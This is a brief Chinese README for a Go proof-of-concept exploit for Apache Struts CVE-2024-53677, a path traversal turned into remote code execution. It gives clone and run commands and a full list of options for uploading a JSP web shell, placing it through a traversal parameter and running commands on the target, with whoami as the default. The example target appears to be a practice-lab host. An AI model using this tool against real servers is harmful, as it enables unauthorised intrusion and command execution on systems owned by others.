一个老旧的漏洞,影响 Apache Struts,可导致 LFI 和远程执行。
Apache Struts 路径遍历 → RCE (CVE-2024-53677)
我花了很多时间把这个 POC 做得尽可能可定制,因为当我第一次遇到这个 CVE 时,没有找到一个正确实现它的好来源。 大多数参数都有默认值,所以不要被这些参数吓到。
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
command to execute on the server default: whoami
-end-point string
post endpoint default to: upload.action
-file-location string
where to save the file into the server default: what test function return
-lfi-param string
Parameter name for LFI testing default: top.UploadFileName
-payload-file string
Path to the payload file default: ./shell.jsp
-payload-file-name string
name of the payload it self default: shell.jsp
-payload-param string
Parameter name for payload injection default: Upload
-test-file-name string
name of the testfile it self default: testfile.txt
-testing-file string
File used for testing default: ./testfile.txt
-url string
Target base URL (format http://strutted.htb/) do not forgot the [/] at the end
所有这些命令都有默认值。我还实现了一个测试函数,用于检查文件应该放在哪里,而且它也是用户可配置的选项。
go run . -url http://127.0.0.1:8080/ -end-point upload.action
有几件事需要注意。
欢迎随意修改或添加该 exploit ♥️。